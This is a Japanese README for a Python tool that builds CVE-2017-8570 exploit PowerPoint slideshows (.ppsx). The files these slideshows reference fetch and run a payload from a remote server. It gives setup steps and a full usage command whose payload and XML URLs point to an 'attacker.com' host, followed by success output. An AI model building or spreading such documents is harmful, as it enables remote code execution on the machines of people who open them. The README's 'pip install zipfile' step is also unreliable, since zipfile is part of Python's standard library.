
cve-2017-8570用のppsxファイル生成ツール(bhdresh/cve-2017-8570に基づく)
Temesgen Yibeltal [email protected] 著(https://github.com/bhdresh/CVE-2017-8570 のコードに基づく(現在は削除済み))
ppsx-file-generator は、既存のファイルを基に、リモートソースからコードを実行する PowerPoint スライドショーファイルを生成する Python ツールです。
このツールは、提供された入力に基づいて PowerPoint スライドショーファイルと XML ファイルを生成します。PowerPoint ファイルは、ペイロードファイルの情報を保持する XML ファイルにアクセスします。攻撃者は、XML ファイルとペイロードをローカルまたは公開サーバーでホストし、それぞれの URL を入力として指定できます。
まず、コードを取得します:
git clone https://github.com/temesgeny/ppsx-file-generator.git
ppsx-file-generator は Python で書かれており、Pip でインストールできる zipfile が必要です:
pip install zipfile
この作業を行うには Microsoft Office PowerPoint が必要です。
まず Microsoft Office PowerPoint を開き、'template.ppsx' を開きます。自分のプレゼンテーションファイルを開き、template.ppsx からアイコン 'Coder.exe' を PowerPoint ファイルのスライド 1 にコピーします。ファイルを PowerPoint スライドショー (.ppsx) として保存します。次に、Python ツールを次のように使用します:
使用法: generate_ppsx.py input_filename -o output_filename -p payload_uri -x xml_uri
input_filename 入力 ppsx ファイル名。
-o 出力 .ppsx ファイル名(.ppsx を含む)。
-p ペイロードの exe または sct ファイルの URL。
アクセス可能な Web サーバー上にある必要があります。(XML ファイルには任意)
-x ppsx ファイルによって呼び出される完全な XML URI。
アクセス可能な Web サーバー上にある必要があります。(必須)
python generate_ppsx.py -o output.ppsx -p http://attacker.com/payload.exe -x http://attacker.com/content.xml input.ppsx
Generated content.xml successfully
Generated output.ppsx successfully